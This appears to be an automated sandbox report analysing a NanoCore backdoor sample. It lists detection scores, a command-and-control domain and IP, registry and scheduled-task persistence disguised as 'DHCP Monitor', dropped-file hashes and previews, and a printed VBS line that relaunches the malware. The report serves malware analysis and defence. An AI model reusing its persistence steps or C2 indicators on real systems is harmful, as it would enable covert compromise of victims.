Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	Virtualization/Sandbox Evasion31	Proc Filesystem	Application Window Discovery1	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	Process Injection312	/etc/passwd and /etc/shadow	Remote System Discovery1	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	Hidden Files and Directories1	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
zunUbtZ2Y3.exe	43%	Virustotal		Browse
zunUbtZ2Y3.exe	54%	ReversingLabs	Win32.Backdoor.NanoCore

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	0%	Metadefender		Browse
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\RegSvcs.exe	0%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\RegSvcs.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	19%	Metadefender		Browse
C:\Users\user\AppData\Roaming\22032878\nfiuc.pif	45%	ReversingLabs	Win32.Trojan.Generic

Unpacked PE Files

Source	Detection	Scanner	Label	Download
2.2.RegSvcs.exe.60b0000.11.unpack	100%	Avira	TR/NanoCore.fadte	Download File
2.2.RegSvcs.exe.500000.1.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File
12.2.RegSvcs.exe.d00000.1.unpack	100%	Avira	TR/Dropper.MSIL.Gen7	Download File

Domains

Source	Detection	Scanner	Label	Link
strongodss.ddns.net	8%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
http://secure.globalsign.net/cacert/PrimObject.crt0	0%	Virustotal		Browse
http://secure.globalsign.net/cacert/PrimObject.crt0	0%	Avira URL Cloud	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	URL Reputation	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	URL Reputation	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	URL Reputation	safe
http://secure.globalsign.net/cacert/ObjectSign.crt09	0%	URL Reputation	safe
http://www.globalsign.net/repository09	0%	Virustotal		Browse
http://www.globalsign.net/repository09	0%	Avira URL Cloud	safe
79.134.225.40	0%	Avira URL Cloud	safe
http://www.globalsign.net/repository/0	0%	URL Reputation	safe
http://www.globalsign.net/repository/0	0%	URL Reputation	safe
http://www.globalsign.net/repository/0	0%	URL Reputation	safe
strongodss.ddns.net	0%	Avira URL Cloud	safe
http://www.globalsign.net/repository/03	0%	URL Reputation	safe
http://www.globalsign.net/repository/03	0%	URL Reputation	safe
http://www.globalsign.net/repository/03	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
strongodss.ddns.net	79.134.225.40	true	true	8%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
79.134.225.40	true	Avira URL Cloud: safe	unknown
strongodss.ddns.net	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://secure.globalsign.net/cacert/PrimObject.crt0	nfiuc.pif.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://secure.globalsign.net/cacert/ObjectSign.crt09	nfiuc.pif.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globalsign.net/repository09	nfiuc.pif.0.dr	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://www.autoitscript.com/autoit3/0	nfiuc.pif.0.dr	false		high
http://www.globalsign.net/repository/0	nfiuc.pif.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown
http://www.globalsign.net/repository/03	nfiuc.pif.0.dr	false	URL Reputation: safe URL Reputation: safe URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
79.134.225.40	strongodss.ddns.net	Switzerland		6775	FINK-TELECOM-SERVICESCH	true

Private

IP
192.168.2.1

General Information

Joe Sandbox Version:	31.0.0 Emerald
Analysis ID:	384233
Start date:	08.04.2021
Start time:	19:05:11
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 14m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	zunUbtZ2Y3.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@21/35@11/2
EGA Information:	Failed
HDC Information:	Successful, ratio: 35.9% (good quality ratio 33.6%) Quality average: 78.7% Quality standard deviation: 29%
HCA Information:	Successful, ratio: 52% Number of executed functions: 233 Number of non-executed functions: 167
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information. Excluded IPs from analysis (whitelisted): 13.88.21.125, 104.43.193.48, 104.43.139.144, 52.147.198.201, 52.255.188.83, 8.238.28.126, 8.238.35.126, 8.238.29.126, 8.241.83.126, 8.238.36.254 Excluded domains from analysis (whitelisted): skypedataprdcoleus16.cloudapp.net, skypedataprdcoleus17.cloudapp.net, blobcollector.events.data.trafficmanager.net, audownload.windowsupdate.nsatc.net, ctldl.windowsupdate.com, skypedataprdcolcus16.cloudapp.net, watson.telemetry.microsoft.com, auto.au.download.windowsupdate.com.c.footprint.net, skypedataprdcolwus15.cloudapp.net, au-bg-shim.trafficmanager.net, skypedataprdcolcus15.cloudapp.net Report creation exceeded maximum time and may have missing disassembly code information. Report size exceeded maximum capacity and may have missing behavior information. Report size exceeded maximum capacity and may have missing disassembly code. Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtProtectVirtualMemory calls found. Report size getting too big, too many NtQueryValueKey calls found. Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
19:06:13	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Chrome C:\Users\user\AppData\Roaming\22032878\nfiuc.pif C:\Users\user\AppData\Roaming\22032878\xaso.fhr
19:06:19	Task Scheduler	Run new task: DHCP Monitor path: "C:\Users\user\AppData\Local\Temp\RegSvcs.exe" s>$(Arg0)
19:06:19	API Interceptor	922x Sleep call for process: RegSvcs.exe modified
19:06:21	Task Scheduler	Run new task: DHCP Monitor Task path: "C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe" s>$(Arg0)
19:06:22	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run AutoUpdate C:\Users\user\AppData\Roaming\22032878\Update.vbs
19:06:30	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run DHCP Monitor C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link
79.134.225.40	cJtVGjtNGZ.exe	Get hash	malicious	Browse
	3aDHivUqWtumbXb.exe	Get hash	malicious	Browse
	fMy120EQiT6NaRd.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Variant.Bulz.394792.29952.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.PackedNET.578.18498.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.DownLoader36.32796.17922.exe	Get hash	malicious	Browse
	HOqJcenF6O.exe	Get hash	malicious	Browse
	0I2ddZZKv7.exe	Get hash	malicious	Browse
	Q2BZ01fmwK.exe	Get hash	malicious	Browse
	eO769dBnEg.exe	Get hash	malicious	Browse
	compiled_report_2020_xls.exe	Get hash	malicious	Browse
	all_reports_compiled_xls_2020_contact_details.exe	Get hash	malicious	Browse
	9dAVqCPNyn.exe	Get hash	malicious	Browse
	M5NwREJ2Yc.exe	Get hash	malicious	Browse
	lyrvDJCi1i.exe	Get hash	malicious	Browse
	FUyv1AeebX.exe	Get hash	malicious	Browse
	SecuriteInfo.com.Trojan.Inject4.6124.10543.exe	Get hash	malicious	Browse
	U0GqWnTbUO.exe	Get hash	malicious	Browse
	Clqf4jiA3N.exe	Get hash	malicious	Browse
	dUWLmGj0PC.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
strongodss.ddns.net	cJtVGjtNGZ.exe	Get hash	malicious	Browse	79.134.225.40
	3aDHivUqWtumbXb.exe	Get hash	malicious	Browse	105.112.99.199
	fMy120EQiT6NaRd.exe	Get hash	malicious	Browse	79.134.225.40
	SecuriteInfo.com.Variant.Bulz.394792.29952.exe	Get hash	malicious	Browse	105.112.98.171
	SecuriteInfo.com.Trojan.PackedNET.578.18498.exe	Get hash	malicious	Browse	105.112.98.171
	nq0aCrCXyE.exe	Get hash	malicious	Browse	87.237.165.78
	73SriHObnQ.exe	Get hash	malicious	Browse	87.237.165.78
	rb86llCYzA.exe	Get hash	malicious	Browse	87.237.165.78
	uB8OTxUd3O.exe	Get hash	malicious	Browse	87.237.165.78
	NNb2NBgsob.exe	Get hash	malicious	Browse	87.237.165.78
	cp573oYDUX.exe	Get hash	malicious	Browse	87.237.165.78
	Y5XyMnx8Ng.exe	Get hash	malicious	Browse	87.237.165.78
	YoWPu2BQzA9FeDd.exe	Get hash	malicious	Browse	87.237.165.78
	M5QDAaK9yM.exe	Get hash	malicious	Browse	87.237.165.78
	TdX45jQWjj.exe	Get hash	malicious	Browse	87.237.165.78

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
FINK-TELECOM-SERVICESCH	EASTERS.exe	Get hash	malicious	Browse	79.134.225.118
	LIST OF POEA DELISTED AGENCIES.pdf.exe	Get hash	malicious	Browse	79.134.225.9
	AWB.pdf.exe	Get hash	malicious	Browse	79.134.225.102
	AIC7VMxudf.exe	Get hash	malicious	Browse	79.134.225.30
	9mm case for ROYAL METAL INDUSTRIES 3milmonth Specification drawings.exe	Get hash	malicious	Browse	79.134.225.21
	PO50164.exe	Get hash	malicious	Browse	79.134.225.79
	Fast color scan to a PDFfile_1_20210331084231346.pdf.exe	Get hash	malicious	Browse	79.134.225.102
	n7dIHuG3v6.exe	Get hash	malicious	Browse	79.134.225.92
	F6JT4fXIAQ.exe	Get hash	malicious	Browse	79.134.225.92
	order_inquiry2094.xls.exe	Get hash	malicious	Browse	79.134.225.102
	5H957qLghX.exe	Get hash	malicious	Browse	79.134.225.25
	yBio5dWAOl.exe	Get hash	malicious	Browse	79.134.225.7
	wDIaJji4Vv.exe	Get hash	malicious	Browse	79.134.225.7
	DkZY1k3y9F.exe	Get hash	malicious	Browse	79.134.225.23
	hbvo9thTAX.exe	Get hash	malicious	Browse	79.134.225.7
	SCAN ORDER DOC 040202021.exe	Get hash	malicious	Browse	79.134.225.71
	Waybill Doc_pdf.exe	Get hash	malicious	Browse	79.134.225.92
	gfcYixSdyD.exe	Get hash	malicious	Browse	79.134.225.71
	cJtVGjtNGZ.exe	Get hash	malicious	Browse	79.134.225.40
	Transferwise beneficiary detailspdf.exe	Get hash	malicious	Browse	79.134.225.22

JA3 Fingerprints

No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Link
C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe	bank transfer.exe	Get hash	malicious	Browse
	nunu.exe	Get hash	malicious	Browse
	quotation.exe	Get hash	malicious	Browse
	GS_ PO NO.1862021.exe	Get hash	malicious	Browse
	UPDATED SOA.exe	Get hash	malicious	Browse
	comprobante de pago bancario.exe	Get hash	malicious	Browse
	ANS_309487487_#049844874.exe	Get hash	malicious	Browse
	Dekont_12VK2102526 VAKIF KATILIM.exe	Get hash	malicious	Browse
	taiwan.exe	Get hash	malicious	Browse
	SWIFT COPY.exe	Get hash	malicious	Browse
	GS_ PO NO.1862021.exe	Get hash	malicious	Browse
	purchase order.exe	Get hash	malicious	Browse
	Payment Advice.exe	Get hash	malicious	Browse
	Quotation.pdf...exe	Get hash	malicious	Browse
	PURCHASE ORDER.exe	Get hash	malicious	Browse
	money.exe	Get hash	malicious	Browse
	TT COPY.exe	Get hash	malicious	Browse
	$$$.exe	Get hash	malicious	Browse
	ORDER.exe	Get hash	malicious	Browse
	PO-0561.exe	Get hash	malicious	Browse

Created / dropped Files

C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45152
Entropy (8bit):	6.149629800481177
Encrypted:	false
SSDEEP:	768:bBbSoy+SdIBf0k2dsYyV6Iq87PiU9FViaLmf:EoOIBf0ddsYy8LUjVBC
MD5:	2867A3817C9245F7CF518524DFD18F28
SHA1:	D7BA2A111CEDD5BF523224B3F1CFE58EEC7C2FDC
SHA-256:	43026DCFF238F20CFF0419924486DEE45178119CFDD0D366B79D67D950A9BF50
SHA-512:	7D3D3DBB42B7966644D716AA9CBC75327B2ACB02E43C61F1DAD4AFE5521F9FE248B33347DFE15B637FB33EB97CDB322BCAEAE08BAE3F2FD863A9AD9B3A4D6B42
Malicious:	false
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: bank transfer.exe, Detection: malicious, Browse Filename: nunu.exe, Detection: malicious, Browse Filename: quotation.exe, Detection: malicious, Browse Filename: GS_ PO NO.1862021.exe, Detection: malicious, Browse Filename: UPDATED SOA.exe, Detection: malicious, Browse Filename: comprobante de pago bancario.exe, Detection: malicious, Browse Filename: ANS_309487487_#049844874.exe, Detection: malicious, Browse Filename: Dekont_12VK2102526 VAKIF KATILIM.exe, Detection: malicious, Browse Filename: taiwan.exe, Detection: malicious, Browse Filename: SWIFT COPY.exe, Detection: malicious, Browse Filename: GS_ PO NO.1862021.exe, Detection: malicious, Browse Filename: purchase order.exe, Detection: malicious, Browse Filename: Payment Advice.exe, Detection: malicious, Browse Filename: Quotation.pdf...exe, Detection: malicious, Browse Filename: PURCHASE ORDER.exe, Detection: malicious, Browse Filename: money.exe, Detection: malicious, Browse Filename: TT COPY.exe, Detection: malicious, Browse Filename: $$$.exe, Detection: malicious, Browse Filename: ORDER.exe, Detection: malicious, Browse Filename: PO-0561.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...zX.Z..............0..d..........V.... ........@.. ..............................."....`.....................................O.......8............r..`>.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\dhcpmon.exe.log Download File
Process:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Temp\RegSvcs.exe Download File
Process:	C:\Users\user\AppData\Roaming\22032878\nfiuc.pif
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	45152
Entropy (8bit):	6.149629800481177
Encrypted:	false
SSDEEP:	768:bBbSoy+SdIBf0k2dsYyV6Iq87PiU9FViaLmf:EoOIBf0ddsYy8LUjVBC
MD5:	2867A3817C9245F7CF518524DFD18F28
SHA1:	D7BA2A111CEDD5BF523224B3F1CFE58EEC7C2FDC
SHA-256:	43026DCFF238F20CFF0419924486DEE45178119CFDD0D366B79D67D950A9BF50
SHA-512:	7D3D3DBB42B7966644D716AA9CBC75327B2ACB02E43C61F1DAD4AFE5521F9FE248B33347DFE15B637FB33EB97CDB322BCAEAE08BAE3F2FD863A9AD9B3A4D6B42
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 0%, Browse Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...zX.Z..............0..d..........V.... ........@.. ..............................."....`.....................................O.......8............r..`>.......................................................... ............... ..H............text...\c... ...d.................. ..`.rsrc...8............f..............@..@.reloc...............p..............@..B................8.......H........+...S..........\|...P...........................................r...p(....2.(....(....z..r...p(....(....(......}......{.....s..........0..{...........Q.-.s.....+i~....o....(.....s.......o.....r!..p..(....Q.P,:.P.....(....o....o ........(....o!...o".....,..o#...t........0..(....... ....s$........o%....X..(....-...o&....0...........('......&.........................0...........(.......&.....*.................0............(.....(....~....,.(....~....o....9]...

C:\Users\user\AppData\Local\Temp\tmp3E2B.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1308
Entropy (8bit):	5.103583470672722
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0Yfkxtn:cbk4oL600QydbQxIYODOLedq3jkj
MD5:	990B7A403BC76992021F9FA8008904F2
SHA1:	42911051D889BC22633FB4EC99794202975260A8
SHA-256:	2C4DC85A9C8127D7F864AB718245EBC0C5B625C04837AC84E012429E956936EE
SHA-512:	C5FF697E356C84B83D18952A5EDA27E225E649B89F8E43BEE565C6DFC87B12D15D8AD0698C03D6915786120042DABFBCB11493E233B8B3B2742EE8C0C5E4A09C
Malicious:	true
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Local\Temp\tmp4272.tmp Download File
Process:	C:\Users\user\AppData\Local\Temp\RegSvcs.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1310
Entropy (8bit):	5.109425792877704
Encrypted:	false
SSDEEP:	24:2dH4+S/4oL600QlMhEMjn5pwjVLUYODOLG9RJh7h8gK0R3xtn:cbk4oL600QydbQxIYODOLedq3S3j
MD5:	5C2F41CFC6F988C859DA7D727AC2B62A
SHA1:	68999C85FC7E37BAB9216E0099836D40D4545C1C
SHA-256:	98B6E66B6C2173B9B91FC97FE51805340EFDE978B695453742EBAB631018398B
SHA-512:	B5DA5DA378D038AFBF8A7738E47921ED39F9B726E2CAA2993D915D9291A3322F94EFE8CCA6E7AD678A670DB19926B22B20E5028460FCC89CEA7F6635E7557334
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo />.. <Triggers />.. <Principals>.. <Principal id="Author">.. <LogonType>InteractiveToken</LogonType>.. <RunLevel>HighestAvailable</RunLevel>.. </Principal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>.. <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>.. <StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>.. <AllowHardTerminate>true</AllowHardTerminate>.. <StartWhenAvailable>false</StartWhenAvailable>.. <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>.. <IdleSettings>.. <StopOnIdleEnd>false</StopOnIdleEnd>.. <RestartOnIdle>false</RestartOnIdle>.. </IdleSettings>.. <AllowStartOnDemand>true</AllowStartOnDemand>.. <Enabled>true</Enabled>.. <Hidden>false</Hidden>.. <RunOnlyIfIdle>false</RunOnlyIfIdle>.. <Wak

C:\Users\user\AppData\Roaming\22032878\Update.vbs Download File
Process:	C:\Users\user\AppData\Roaming\22032878\nfiuc.pif
File Type:	ASCII text, with no line terminators
Category:	modified
Size (bytes):	134
Entropy (8bit):	4.980914870423424
Encrypted:	false
SSDEEP:	3:FER/n0eFH5Ot+kiEaKC5pPex1t+kiEaKC5pZEZxHn:FER/lFHIwknaZ5hevwknaZ53EPHn
MD5:	C81CE4477142FA6E216A1742FF5D153D
SHA1:	95F3BE4488F26D0BED40A1447847C6BBFDB4EA63
SHA-256:	CBB4B78FA8848000511B01CCDD1EC3AEF39F9552856B859ABC94AFA384302A8E
SHA-512:	65C567656834FC42F0D3BEC85B062C5E46E56AB1108EBED54486D0E9C90E3EA6F88D178C923C2EBEB25ED97DB6DAD07010C79001CF10B8275E9E41D5C65D8E45
Malicious:	false
Preview:	CreateObject("WScript.Shell").Run "C:\Users\user\AppData\Roaming\22032878\nfiuc.pif C:\Users\user\AppData\Roaming\22032878\xaso.fhr"

C:\Users\user\AppData\Roaming\22032878\btdbvndt.bmp Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	559
Entropy (8bit):	5.590049640287996
Encrypted:	false
SSDEEP:	12:M6UJPoPptZaSIVFJXXX3jlwlC30ADU+Tv/TSbgJPD:M6UJPSptwSwnXyrB+zTT5
MD5:	BAEC341B881A94D65AC13E41DD97957F
SHA1:	BD5DB45977FA111B4E1631081FDD091F9B06D30B
SHA-256:	31EC8CE62360246F905DB095A8BF7529DC149133B6F67CE1CEC6CD70BFCAB8D5
SHA-512:	425ED5648F5DA202C6C3646F4359165EFA5151150AA87D3BC6E276B19CE18F7EBF5A9296E4A8341DFFF5A055A9E50E19A24ABB422B5B23C8EE044FD7B148590D
Malicious:	false
Preview:	BFI31154Y8Exd190438M3BD7g0r2R70eM2D60LmtIxt3PhG48591..Ui2zv4r6Fsee9d8uqZpQlqT8DF4lFw38n2OAybT5qF35254g55TjE6..xd26f1qZJPJf7Ie2I3w255WqNbhHWY4HUqX775k94zl719Je04UfwN..ugo2804m8RU953Vz6Ji9Q6fu3VPxkx494SbBx3H1Au857OSsx4avd11ngE6N890eOdO6iWwO337lF2z0c0sxCFcB92tvCO382ZTBR393tJEDb9fb6C51qA087M78z6QY9qk..0XRr9VL7x9huc602dab0w2u4vr3KjlDRP0QK237B3H3ph87i27DL83O9537lmj9s..d939hI0fQnVPOP9U743323i2QY27B8u1c340p8v2UWRiKHb49c213aze951b90gpR3678pyeSr6v9P5X36766O..vMNi519gS381U5032zoY16b1472b3y11U0G32nM34Gjxy4zV474d3VyNQ66Bc464Ki6AU39R36683221998093SfgmPp7608793t187V..

C:\Users\user\AppData\Roaming\22032878\dnxuddwt.ppt Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	522
Entropy (8bit):	5.405974627564001
Encrypted:	false
SSDEEP:	12:LLTIGOWK2eKGIHAb4pN/QfCT1G49RMqpcDiO0:EjWKvKfHAgNY6T1nFpcGO0
MD5:	AD0538F8F9BEB5F33E161A05B15C877D
SHA1:	1881300024085A1930A6B2B5D824A2C19E6414B2
SHA-256:	3FC4C9B80B7A6FE0D976EC37A05494803E2BA8F031C6D519B01560E664D366A3
SHA-512:	FCF4C424073D1CC80AE26784D4B6133ADE3A294504B00B9A595D7672EF4C4628128F9A884F2FE1C36705370ED00DDC93F0D2A9253CE669551816AC572008F0F7
Malicious:	false
Preview:	6xAJOA6D4434LDiE2R0BR3C87227265ZdKsRoWg2Df01m492c2jAO68Yk19407C03F79mb3X1M24eVZI84J18K0PO648C99b06X5xU461T484b1v6JD0260fH35f2lACOyQECV3..2T6p60i3r1oW01rDb351C5c39N2lB769Z8g03VW0..PEXTY5911wer4fl2s4550tX101Y7r36G7h8Ou6D6002n5F83B11g477Wi8rI5jwB03138C6v2c6Ig2006N1I2mxfk1Q2B79wsi0bR9l7W8L8S074XOde8xdhi0743M8na93c11F8924..Fi9Js73U49aw17H11080O5v1xR1Oa01ch79404l93K48314..15Qq3Cm362933653Lyq653A514D05bsb936E3G3h865kZxpqp727B4M896106ozhKwkb5gDl8LB47SOTA0l8875b2RZ43WK773Yk3161B2d828ut73WCRv1b12p6466326ikCJ6u8i1X8y58HKfkfKS..

C:\Users\user\AppData\Roaming\22032878\eseh.pdf Download File
Process:	C:\Users\user\Desktop\zunUbtZ2Y3.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	572
Entropy (8bit):	5.456380250671965
Encrypted:	false
SSDEEP:	12:e2/NvUgY4/WBDY8CIc++k3pxOQKq6dsXmBhuVsb:e2/NHYE2FCvFk+PfdZ
MD5:	33E70D61804B626A7EDDCEE87A50DA87
SHA1:	198945C6DB88B833EED534835F6BC025E6A71DA7
SHA-256:	5DBF289E2085BE6771F0F280E2BCACF93854DDE58D19CA96C3718211EE6E8448
SHA-512:	0F87F2A271BDD1916C302E4F37C11AF7E5916B203F825D1896097C4B63547C2D01A42CA7B762FFD219CAA979F312CF74B71C22BC2ED0AADDEEB1BF163991E48F
Malicious:	false
